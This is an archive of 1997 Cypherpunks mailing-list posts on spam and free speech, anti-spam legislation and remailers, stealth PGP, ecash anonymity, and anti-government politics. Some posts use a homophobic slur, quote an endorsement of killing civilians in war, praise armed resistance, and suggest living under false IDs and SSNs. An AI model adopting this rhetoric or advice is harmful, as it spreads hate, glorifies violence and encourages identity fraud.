that is one of the primary uses of your computer -- and you did *not* 
place any restrictions on that connection.  Furthermore, you can't -- 
no one will sell you an internet connection at any level where they 
will accept a contractual obligation to keep spam from getting to you.

[...]

>I never have argued for more legislation of the internet for any reason. I
>just think that creative use of current laws can put an end to this
>pestilance. I don't see remailers being hurt in this as the whole purpose
>of spam is to be non-anonymous (you can't sell anything if they don't know
>where to send the money to). I do think that litigation can be used
>effectivly to put an end to Spamford without changing the current
>structure of the internet.

I don't see any legal basis for it. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 05:03:52 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221633.RAA01999@server.test.net>
Message-ID: <199705222053.PAA19345@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221633.RAA01999@server.test.net>, on 05/22/97 
   at 10:33 AM, Adam Back <aba@dcs.ex.ac.uk> said:


>William Geiger <whgiii@amaranth.com> writes:
>> >The problem is that you and most of the rest of the internet world are
>> >renting your mega phones/accounts out without charging for usage volume. 
>> >You are also allowing completely free use of your account as a recipient,
>> >and completely free use of your sendmail as a mail hub service.
>> 
>> >If this causes you grief, you need to start metering, and charging
>> >postage to receive mail, and metering mail hub usage.
>> 
>> Bullshit! No metering of accounts is required. All that needs to be done
>> is blocking of all mail from Spamford's sites. He nor anyone else has a
>> "right" to use my equipment. If Spamford uses my equipment without my
>> permission he can be charged with criminal trespass. I am under no
>> contract with Spamford and am under no obligation to provide him so much
>> as 1 bit worth of bandwidth.

>So why are you leaving your machine configured so that he clearly can use
>your bandwidth?

>Courts are uneconomical solutions.  It's as if I had said the fact that
>you left a $100 bill sat on your doorstep might have something to do with
>the fact that you are now $100 worse off, and as if I had suggested to
>you that a solution might be to be more careful about leaving
>money/resources in easily accessible places, and perhaps it would be
>better to store your money in a wallet and it is then as if you had
>replied:

Oh I don't know if they are that uneconomical. I think a class action
lawsuit filed by a few 100 ISP's against Spamford would shut him down.

>William Geiger <whgiii@amaranth.com> writes:
>: Bullshit! No wallets are required.  All that needs to be done is for a
>: court injunction made stopping this particular thief from picking up
>: my money.  He nor anyone else has a "right" to take my money.  If
>: Joe Thief picks up my money without my permission he can be charged
>: with theft.  I am under no contract with Joe Thief and am under no
>: obligation to keep my money in a wallet.

>I hope you see the similarity in argument.

Yes unfortunatly I nolonger have that thread. If you could give me a date
that was posted I will look at the archives.

>Clearly you can only issue injunctions against people you can identify. 
>If not you don't get your property back.

>Your solution is to require legislation, or court intervention ("he can
>be charged with criminal trespass").  So how are you going to get a
>reasonable prosecution rate on this one?  Perhaps replace cash with a
>traceable form, so that you can trace who it was that took your money? 
>Perhaps escrow peoples positions so that the government can trace the
>thief.  Perhaps have the government put video cameras up at intervals of
>100m in residential areas?

Perhaps criminal trespass was a little extreme on my part though no new
laws would be required for such a prosecuition.

>The costs and unattractiveness of government intervention are even worse
>on the net.  

>Do you want legislation stating that you can sue people who send more
>than a certain number of posts via your sendmail hub?  Consider the
>logical consequences... you must be able to identify people to sue them,
>therefore:

>	- Internet Drivers licenses must be required
>	- Remailers will be outlawed
>	- Every SMTP session must be authenticated with your True Name

>Are you in favour of these?  Realise that these provisions will be in the
>1998 anti-SPAM bill put before congress, and the congress critters will
>say that the regulation of anonymity on the net was as a result of public
>demand.  In this case, they will probably be right about the demand.

>Note that I did not say Spamford had a _right_ to spam you, just that
>with government "solutions" to this problem the "cure" is worse than the
>problem, at least from a pro-privacy perspective.

I am not looking for the governmental intrusions that you have listed
above. They are not needed to take care of Spamford. I as the owner of
certain computer equipment have the right to determin who uses such
equipment and how. It should be no different that my right to determin who
can enter my house and who can not. If I inform Spamford that he is not
welcome in my house and he still insists on comming in I should have some
recource to stop him.

IMHO this can be taking care of through civil courts hitting the spamers
where it counts in the wallet. As far as identification this is quite
simple to do without the above measure. Even if Spamford uses tricks to
cover his tracks his clients are known as they tell you who they are in
their spam. Traceing back to Cyber-Momo is trivial once his clients are
known. IMHO when Compu$erve suied Spamford thay should have listed all of
his customers in the lawsuit.

>> I have no problem with Spamford's free speech rights. He can go out buy a
>> bullhorn stand on a street corner and shout to his harts content. He does
>> not have the right to kick in my door stand on my coffee table and say a
>> word.

>Yeah but he didn't kick anything in, he just used something which was
>setup to be used for free, in an unmetered fashion, where no contracts
>were agreed to before hand.

No it was not. Just because you leave a door unlocked does not mean that
anyone has the right to enter. If you run into the store and forget to
lock the doors on your car does that mean that anyone has the right to
drive off in your car? If you leave the front door unlocked on your house
does that mean that anyone can walk in and help themselfs to the contents
of your house?

>You might perhaps with some justification argue that there is an implicit
>contract to act reasonably, well ok, this is largely the way the internet
>used to work 10 years ago, but the problem is still how are you going to
>catch him.  What about sendmail forgeries, what about public access
>terminals, what about remailers, what about free AOL disks, etc, etc. 
>You've got to admit it's worse than hopeless.  The government "solution"
>to the problem would attempt to make the net fully traceable.

>By arguing for the use of litigation for spam, you are hastening the
>outlawing of remailers.

I never have argued for more legislation of the internet for any reason. I
just think that creative use of current laws can put an end to this
pestilance. I don't see remailers being hurt in this as the whole purpose
of spam is to be non-anonymous (you can't sell anything if they don't know
where to send the money to). I do think that litigation can be used
effectivly to put an end to Spamford without changing the current
structure of the internet.

The whole spam issue could be handled in a non hostile manner. Spamford et
al. could sign a contract with me to allow x amount of messages/day onto
my system for y $'s. I then could use these funds to compensate my users
with lower rates, better equipment, ...ect. Other ISP's could chose not to
allow spam on their systems and use this as a marketing tool. Some users
would like the lower rates and tolerate the spam others would opt to go
with a no-spam ISP. Either way everyone comes out a winner. Unfortunatly
Cyberpromo and other such companies have decided that they can have a free
lunch at others expence.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: A View to be Killed.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 23 May 1997 03:49:37 +0800
To: "Willaim H. Geiger III" <cypherpunks@toad.com
Subject: Re: "You have the right to remain silent"
In-Reply-To: <199705221229.IAA20553@dhp.com>
Message-ID: <3.0.2.32.19970522150827.0069c21c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:46 AM 5/22/97 -0500, Willaim H. Geiger III wrote:

>1) Under the 5th Amendment one is not required to give any assistance to
>the police in a criminal investegation.
>
>2) That the Ramsey's were prime suspects after 48hrs and no suspect was
>found.

I'm always amazed at the large number of people who don't know that you don't 
have to talk to the cops.  It's not just the 5th Amendment BTW.  You don't 
have to talk to them because you don't have to talk to anybody.  

Cops can give you orders to do certain things when you're out in public
(stop, 
turn left, etc.).  They can't order you to do things outside the limited
scope 
of vehicle and crowd management.  They can't order you to give them $20 and 
they can't order you to talk to them.  They can arrest you with probable
cause 
and detain you briefly for purposes of investigation.  They can ask you for 
your name and you may have to supply it, but that's about it.  If you're 
operating a motor vehicle, they can ask you for ID.  Not too much else.

Since cops are not judges, they can't order you to do things outside of the 
above.  You may be compelled to testify in court or at other sorts of 
hearings, but you *never* have to talk to cops.  And you never should unless 
you're asking them for help of some kind.

DCF

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+Bx8+qINOKwJEmx/NCyxtvv0Wg5TYf/bUNxMs4HSnvZWsOQA7eqP1SG6rzbuyjQ4
SLQo8aPoAxw=
=Mcdq
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 23 May 1997 06:38:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam laws threaten remailers?
In-Reply-To: <199705221929.MAA21253@jefferson.hidden.net>
Message-ID: <3.0.1.32.19970522152500.0087fd80@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


>See http://www.senate.gov/~murkowski/commercialemail/
>
>   My
>   bill merely provides a means for Internet users to filter out e-mails that
>   they do not wish to receive by requiring that senders of unsolicited
>   e-mails to include Advertisement as the first word of the subject line
>   and that the real street address, e-mail address and a telephone number
>   be contained within the body of the message. Routing information that
>   accompanies the message must also be accurate. 
>
>Could this be the end of remailers?

Yes, at least within the United States. But this bill won't touch foreign
spam, so spammers will use overseas service providers to continue to spam. 

(And those foreign service providers may not mind hosting remailers if
they're already dealing with the avalanche of complaints which follow spam.
But few remailer operators will want to pay the high fees that spammers pay
for net access.)

Both of the anti-spam bills that I've seen (CAUCE and Murkowski's) are
poorly drafted - they're both overbroad and underinclusive. I don't think
they're necessarily constitutionally "overbroad", but they haven't been
written by people with a good understanding of the technical issues.

As I read both bills, they'll prohibit behavior pretty universally
considered legitimate - e.g., including a link to a web site in your
.signature which happens to sell a product or service, for example.

I think it'd make more sense to solve this problem technically, and/or
carefully think about the legal framework appropriate for governing the
flow of data between computers. (There are also sticky First Amendment
issues here.)

Ugh.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:25:52 +0800
To: whgiii@amaranth.com
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221414.JAA14267@mailhub.amaranth.com>
Message-ID: <199705221633.RAA01999@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger <whgiii@amaranth.com> writes:
> >The problem is that you and most of the rest of the internet world are
> >renting your mega phones/accounts out without charging for usage volume. 
> >You are also allowing completely free use of your account as a recipient,
> >and completely free use of your sendmail as a mail hub service.
> 
> >If this causes you grief, you need to start metering, and charging
> >postage to receive mail, and metering mail hub usage.
> 
> Bullshit! No metering of accounts is required. All that needs to be done
> is blocking of all mail from Spamford's sites. He nor anyone else has a
> "right" to use my equipment. If Spamford uses my equipment without my
> permission he can be charged with criminal trespass. I am under no
> contract with Spamford and am under no obligation to provide him so much
> as 1 bit worth of bandwidth.

So why are you leaving your machine configured so that he clearly can
use your bandwidth?

Courts are uneconomical solutions.  It's as if I had said the fact
that you left a $100 bill sat on your doorstep might have something to
do with the fact that you are now $100 worse off, and as if I had
suggested to you that a solution might be to be more careful about
leaving money/resources in easily accessible places, and perhaps it
would be better to store your money in a wallet and it is then as if
you had replied:

William Geiger <whgiii@amaranth.com> writes:
: Bullshit! No wallets are required.  All that needs to be done is for a
: court injunction made stopping this particular thief from picking up
: my money.  He nor anyone else has a "right" to take my money.  If
: Joe Thief picks up my money without my permission he can be charged
: with theft.  I am under no contract with Joe Thief and am under no
: obligation to keep my money in a wallet.

I hope you see the similarity in argument.

Clearly you can only issue injunctions against people you can
identify.  If not you don't get your property back.

Your solution is to require legislation, or court intervention ("he
can be charged with criminal trespass").  So how are you going to get
a reasonable prosecution rate on this one?  Perhaps replace cash with
a traceable form, so that you can trace who it was that took your
money?  Perhaps escrow peoples positions so that the government can
trace the thief.  Perhaps have the government put video cameras up at
intervals of 100m in residential areas?

The costs and unattractiveness of government intervention are even
worse on the net.  

Do you want legislation stating that you can sue people who send more
than a certain number of posts via your sendmail hub?  Consider the
logical consequences... you must be able to identify people to sue
them, therefore:

	- Internet Drivers licenses must be required
	- Remailers will be outlawed
	- Every SMTP session must be authenticated with your True Name

Are you in favour of these?  Realise that these provisions will be in
the 1998 anti-SPAM bill put before congress, and the congress critters
will say that the regulation of anonymity on the net was as a result
of public demand.  In this case, they will probably be right about the
demand.

Note that I did not say Spamford had a _right_ to spam you, just that
with government "solutions" to this problem the "cure" is worse than
the problem, at least from a pro-privacy perspective.

> I have no problem with Spamford's free speech rights. He can go out buy a
> bullhorn stand on a street corner and shout to his harts content. He does
> not have the right to kick in my door stand on my coffee table and say a
> word.

Yeah but he didn't kick anything in, he just used something which was
setup to be used for free, in an unmetered fashion, where no contracts
were agreed to before hand.

You might perhaps with some justification argue that there is an
implicit contract to act reasonably, well ok, this is largely the way
the internet used to work 10 years ago, but the problem is still how
are you going to catch him.  What about sendmail forgeries, what about
public access terminals, what about remailers, what about free AOL
disks, etc, etc.  You've got to admit it's worse than hopeless.  The
government "solution" to the problem would attempt to make the net
fully traceable.

By arguing for the use of litigation for spam, you are hastening the
outlawing of remailers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:15:50 +0800
To: tcmay@got.net
Subject: Re: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <v03007802afa8e11a2121@[207.167.93.63]>
Message-ID: <199705221644.RAA02012@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> [...]
> Probably any stealthy versions of PGP or S/MIME would best be handled
> outside of PGP or other vendors...just modify their source code and
> distribute the stealthy versions.

You use Macs, there is a version of PGP for the Mac which does have a
stealth function integrated.  Zbigniew Fiedorowicz
<zigf@mps.ohio-state.edu> has it on his web page.

Zbig produced that as a port of the pgp-stealth 2.x which I did as a
modification of Henry Hastur's pgp-stealth.

pgp-stealth 2.x, a standalone command line utility, for unix, PCs,
etc. to post and pre-process PGP messages is at:

	http://www.dcs.ex.ac.uk/~aba/stealth/

I also have a partly finished stealth as a patch to pgp263i which I'll
finish sometime.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:23:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <199705212141.OAA14578@fat.doobie.com>
Message-ID: <199705221649.RAA02019@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger -96 <tm96@dev.null> writes:
> [...]
>   I have used a variety of "names" as a writer, musician and as a
> fugitive from injustice. Whenever I looked in the mirror, however,
> I always saw the same face. And no matter what "persona" I am using,
> I find that I feel most like "myself" when I speak and act honestly,
> no matter whether my stance is homeostatic or dichotymous.

I wasn't arguing against anyone speaking anonymously.  Use all the
strong anonymity you can get, you're welcome to it.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 01:21:47 +0800
To: cypherpunks@algebra.com
Subject: ecash & remailers
Message-ID: <199705221703.SAA02054@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



It occurs to me that there is a problem with remailers using Chaum's
ecash as offered by MT bank and others.

The attacker could coerce the sender of an anonymous message into
revealing his blinding value, and use this to obtain the identity of
each remailer hop by colluding with the bank.  (The bank keeps a
database of the blinded coins minted against who they were given to;
unblinding reveals the coin which can then be compared against those
deposited by remailers, tallying sender with remailer, all the way to
the exit remailer.)

To stop this, the sender should discard the blinding values, thereby
removing his ability to be later coerced, or to later trace the
recipient of his cash.

Is there a way to purge blinding values from the ecash directory?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 23 May 1997 04:05:03 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: The Natives Are Getting Restless (was Wine Politics Again!)
In-Reply-To: <3.0.32.19970522000739.00709ce0@cnw.com>
Message-ID: <Pine.LNX.3.91.970522173438.712A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >    as for the great fairweather liberal bigot Blanc's passing it off 
> >    as tcm's drunken ramblings, I doubt it.  war is hell, and 
> >    "innocents" get wasted --but, a society at war has no innocents.  
> >    blow 'em all away.  scorched earth is inadequate; burnt earth is 
> >    more effective. if there are no prisoners, there are no 
> >    complainers.

> There are little battles raging on all around us, not only the fight for
> privacy-by-encryption which you all are aware of.   Some cpunks have stated
> that "society doesn't know or care what is happening".   Some of you all
> don't know the kinds of battles or other people/groups are having, either
> with government or with some opposing members of this same society.   

This is a clearly observable characteristic of this list, however, I 
think it is only to be expected. I`m sure a lot of cpunks care about 
other issues than privacy and civil rights, but people tend to follow the 
flow on a mailing list as in real life. Most people don`t feel 
"confortable" starting new threads, I know I often start new threads by 
making important points in other threads, however, I very rarely start a 
new thread from scratch, I don`t seem to be able to write well unless I 
am contradicting a point someone else has made. 

> How can one keep up with/contribute to all of these?    So many times, I
> will happen to read accounts of people who have got into trouble of some
> kind, or down on their luck (they lost their job and don't have skills,
> they need a heart transplant, they got jailed by mistake, the car
> dealership gave them a bum deal), and they decide that society  doesn't
> really know what is happening and complain that it is unsympathetic and
> lament "when will society wake up and realize that something needs to be
> done", etc..   Well, jeez, there's only so much time to spend on everybody
> else's problems. 

One of the main reasons societies degenerate into nanny state mentalities 
is because people spend too much time worrying about other peoples small 
and trivial problems ("there should be a law!").

> All these people with their problems would like everyone one else to be
> aware of their plight and sympathetic to their rights and to contribute to
> their cause, and get disturbed about being "marginalized".  As far as I'm
> concerned, everyone is "marginalized".   But people are behaving as
> expected:   the Waco religious group acted as expected, the BATF acted as
> expected; government employees behave as expected.   The cpunks, who know
> so much about government, in particular the NSA & certain luminaries
> related to privacy&encryption, should expect that things will go on as they
> do - even if they bomb D.C. out of existence.   And this is because,
> apparently,  people of this type & kind simply haven't evolved enough to
> expect anything different.

I don`t believe that this is the case. The sheeple will follow wherever 
"society" leads, if the US were to gradually evolve, or even change 
overnight through revolution, into a stable anarchy I don`t think most 
people would care. I observed in my last post that most people are too 
concerned with their own lives to worry about political and social issues 
in any great detail, most peoples involement goes about as far as 
watching CNN.

I don`t think it is so much a matter of evolution, it is simply 
education. People have been brainwashed into treating with fear and 
distrust people who do not share the views of the majority, indeed, 
people fear anyone who has any real views at all.
For an example of such brainwashing see the governments "drug education 
programs", most people who are against legalisation of drugs do not even 
know why they think drugs should be illegal, they have simply taken on a 
point of view the majority of people seem to share, maybe subconsciously 
to gain acceptance, more often because it just does not directly concern 
them and they do not care.
This brainwashing, and I will stay with the drug prohibition example 
because I believe it is a good one, is so pervasive and so powerful that 
if one were to ask someone who has never known a drug dealer to draw a 
picture of one, the result would likely be a young, black male who was 
carring a gun and appeared in a confrontational pose. Most people also 
don`t have the time or the interest to educate themselves about issues 
such as these, the government says drugs kill, so people think that 
anyone who uses the governments "nasty chemical of the year" (tm) is 
going to drop dead any minute. 

> Now, crypto was supposed to allow for the possibility of not having to deal
> with these people directly;  it was supposed to usher in the new
> technological era whereby one could "route around" and generally avoid
> messing with Government Mongers, from negotiating for the right to breathe
> on one's own Maintenance Schedule.   

I honestly believe this prediction has, to some extent, come about. 
Currently the technology may be limited, but on a forum such as this for 
example, I can post anonymously, or use a pseudonym, I can use digital 
signatures on my anonymous postings to accumulate reputation capital, I 
will, soon, be able to send you fully anonymous digital cash in payment 
for goods or information, often neither of us would need ever know the 
true identity of the other. 

Of course all of this offers little protection when your front door is 
kicked in by the thugs, but that is a property not of the technology but 
of humans. If I wanted to lead a totally untraceable and anonymous life I 
could travel around the place, my net persona would of course remain the 
same so I could continue to accumulate reputation capital regardless of 
my geographical location, I could pay for all my necessary transactions 
by cash, I could use false ID, false SSNs, false names etc. to withhold 
my true identity.

You only get out what you put in, if people expect technology to totally 
remove any responsibility for vigilance from them, then they are mislead. 
Technology can ease the burden, and allows one to keep the same virtual 
identity whilst moving around, it allows you to use anonymity yet gain 
reputation, the technology will evolve, and will eventually be so 
pervasive and powerful that it will result in the downfall of the 
government.

> Well, so much for an anarchic life of Independent Means.  I must say, from
> the posts I've been reading these past several days, I haven't seen very
> imaginative ideas for dealing with the problems which dull governments
> create.   

I can see why you might say this, but I must ask why we need imaginative 
ideas? - The old ones, involving guns and other weapons sound OK to me. 
If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
idea was sure one I`d never heard of before.

> It is typical of dull governments that when pressed to the wall
> they resort to desperate, mediocre ways of dealing with problems - like
> obfuscation, exaggerated charges of evil intent, physical violence; all
> signs of a limited intellectual capacity for coming to terms with the facts
> of reality  (the problems they face as Protectors of Goodness & Justice
> (tm) ).   

Whether they choose to use such powers or not all governments are able to 
force their will on the people by use of force. Whether they use them or 
not the very act of posessing the powers is criminal in itself, as in 
doing so the government assumes a position of superiority over its people.

Of course, regardless of their initial form all governments eventually 
"evolve" into forces for repression and evil, it is the means by which 
they attempt to retain their position of power. 

The thought that a government, as a group of people who believe in their 
right to dictate to the people who happen to live in their part of the 
playground, could ever attempt to come to terms with it`s own downfall is 
incomprehensible, there is no such thing as permenant government, which 
seems to suggest that anarchy is more stable, as it is therefore the 
default condition approached by societies with governments.

> I would have expected newer, more creative ("evolved") ideas from
> scientists, mathematicians, physicists, computer-savvy members.   

This is true, I think most cypherpunks, myself included, tend to prefer 
sitting around chatting about ethical questions and blowing things up, 
than actually discussing specific ways to improve the situation.

Your style of discourse in your post suggests you believe that the most 
effective way to go about achieving a better society and a better form of 
government is the reform the present system.
I agree that this is probably the method most likely to get good results, 
but from an idealogical point of view I am unable to even contemplate 
advocating anything based on the present corrupt and evil system.  
To do so sends the wrong message to the people in power, it tells them we 
are "reasonable people", that we are willing to fight on their terms, 
sometimes radical statements and radical actions are the only way to go.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 23 May 1997 15:48:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: LSE UK crypto politics conference
In-Reply-To: <199705211857.LAA23752@comsec.com>
Message-ID: <3.0.1.32.19970522182357.00ab9d80@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:03 PM 5/20/97 +0100, Adam Back wrote:
>Panel: Carl Ellison, legal advisor to GLIC (forget name), Nigel
>Hickson DTI, someone from TIS (?) who spoke too quitely.  Chair was
>Caspar Bowden, Scientists for Labour.

The person from TIS was Brian Gladman.
BTW, he wrote an open letter response to the DTI proposal which
is on the web from one of the standard Privacy sites.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 23 May 1997 02:43:12 +0800
To: Kent Crispin <tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <19970520231014.03100@bywater.songbird.com>
Message-ID: <199705221828.MAA22184@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970520:2310 Kent Crispin <kent@songbird.com> expostulated:

+On Tue, May 20, 1997 at 04:46:08PM +0000, Attila T. Hun wrote:

+>    government is its own end:  power corrupts, and absolute power 
+>    corrupts absolutely.  hasn't changed yet in history.  even the 
+>    greats, Solomon, David, etc. fell prey to the siren song of power;
+>    why should far more inferior men like Bubba, who has absolutely 
+>    nothing to his credit except deceit, be exempt?

+"Power corrupts..." isn't a property of governments, it is a property 
+of individual human beings.

    aw, come on, Kent --you remind me of the faggots dancing around
    Harvard Square in 1960 when TOCSIN was in its heyday before it
    became SANE.   

    jocks used to go down there on Saturday mornings to bait them
    into attacking so the Irish cops could bust them.  some peaceniks
    managed to be rather violent with their placards.

    If you have not figured it out --government is the *enabler*
    to corrupt absolute power.

    I just love idealistic peaceniks, the better ones taste just like 
    chicken.

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM4SQD704kQrCC2kFAQFneAP/bTYRk1OcC2lpn0uxIEeLAy9WHkgCV5af
+0p3azmZpk3L+lwDUOJjP7VqggQPvIBGjjlyddBJE5AEfMFs4nB+RDFRHLwIhZ+i
mq7ydoulh5N7E9cirCpaC6PNgWsh+xy2iPcWBUPdg3XxVrUI7UhogSyb0pIVEyB0
JKQYe3dXcaw=
=ffpk
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 23 May 1997 02:49:15 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <3.0.1.32.19970521144153.00ac47e0@labg30>
Message-ID: <Pine.LNX.3.91.970522182630.712B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Are you telling me that being subjected to a jack-boot investigation for
> running pyramid schemes *and* having your customers leave because they
> can't get mail services is a reasonable expense to bear because of
> Spamford's "right to free speech"?  Spamford's speech (or that of his
> "customers") isn't even directed at the sendmail operator or his customers.
>  The sendmail operator above is merely being used by Spamford as a
> megaphone to broadcast the message of spam to other people (who really
> don't want it, either, but that's beside the point.)

You have argued my point for me, if operators took more security 
precautions like authentication protocols this sort of abuse of mail 
servers would not occur. If spamford had to send the spam from his own 
domains with his address on them he would get the retaliation.
Technology is the way to protect against actions like this, not ethical 
arguments.

> It's no longer the same as shouting down the marketing researcher.  

To some extent I agree, but it isn`t really the same in the first place, 
it was just a vaguely similar situation, in that the market researcher 
cannot pretend to come from somewhere else so I will not shout at a 
innocent bystander. 

> What Spamford has done is to see me walking down the sidewalk carrying a
> megaphone, and grab me and tell me that I must stand there and hold my
> megaphone in front of some spammer's mouth while the spammer shouts at a
> crowd of people who don't want to hear him.  

Exactly, solution? - refuse the megaphone. Protect your mail servers.

> All the while, you stand there
> next to Spamford and claim that I must continue to hold my megaphone for
> the spammer because it's his "right to free speech", and the only way to
> avoid it is to turn my megaphone off, denying me the ability to allow
> anyone else to use my megaphone.

Spamford has a right to send whatever traffic he wants to your servers, 
if that includes false routed spam mails so be it, you have to protect 
yourself. I don`t claim that anyone has to leave their servers insecure 
so spamford can speak through them, but if you leave them open he does 
have a right to route through them. If you don`t want this, secure them.

> The icing on this cake is that if the spammer starts announcing "Make Money
> Fast" over my megaphone, the FBI will come and investigate ME because I'm
> the one holding the megaphone!

This is a fault of the FBI and not of the spammer.

> Free speech is NOT the subject here.  My right to walk down the street with
> my (lawfully registered) megaphone has been usurped by a thug.  You're
> telling me that every megaphone owner has a *duty* to hold it in front of
> every spammer's mouth.  

No, I`m saying if he holds it in front of their mouth he has to expect 
them to speak.

> Remember, these are finite megaphones.  They have batteries that
> need replacing, and the owners are stuck standing there holding them while
> the spammers speak as long as they want.  Sorry, but those megaphone owners
> may have other things to do with their megaphones and their time.  You're
> confusing "the right to free speech" with "the right to kidnap megaphone
> owners".

You are forgetting the 998348934th ammendment of the US constitution:

Congress shall make no law infringing the right of the people to kidnap 
megaphone owners...

Seriously though, you make the comment earlier that listening to speech 
costs nothing because you can walk away, the internet is the same. If you 
don`t like getting mail from someone, killfile them, tell them to stop, 
change your address, get off the internet. You have a number of options, 
it may seem that your percieved "right" to have someone not send you mail 
is being infringed and you are being forced to get off the internet or 
change addresses, but this is really not necessary if you can handle a 
killfile. This is like when people talk about their percieved "right" to 
walk down the street without being mugged, they have no such right, it is 
simply that the default case is for them to not be mugged, and if they 
are mugged this constitutes a violation of their property rights.

> In this particular case, of course, there was a technical solution:
> install a sendmail to prevent routing of incoming mail.  ISPs and
> corporations around the globe will need this new hardened sendmail to keep
> the spammers away.  Restricting the speech they carry.  Turning off the
> megaphones.
> 
> Spam is interfering with the *real* victim's (the sendmail operator's)
> ability to provide customer service; in a very real and fiscally damaging
> way.  It's also restricting the traffic he can carry to only that speech
> originating from
> his domain.  His right to carry YOUR speech has been restricted by his
> technical solution to keep his machine alive.

This is not really a restriction, they have the choice: carry the spam or 
kill the other mail altogether. No-one is forcing them to take either 
course of action, sure it`s a sad case of affairs when we have to take 
technological action against people for using others equipment in 
unpleasant ways, but it`s simply the way things are.

> What is ultimately likely to happen, however, is that Mr. Wallace will be
> prosecuted under existing laws for swindling the original MMF spammers.
> He's profiting by charging them to steal resources from ISPs.  He *might*
> be able to avoid prosecution by putting a "warning sticker" on his
> advertising saying something to the effect that, "if you send a Make Money
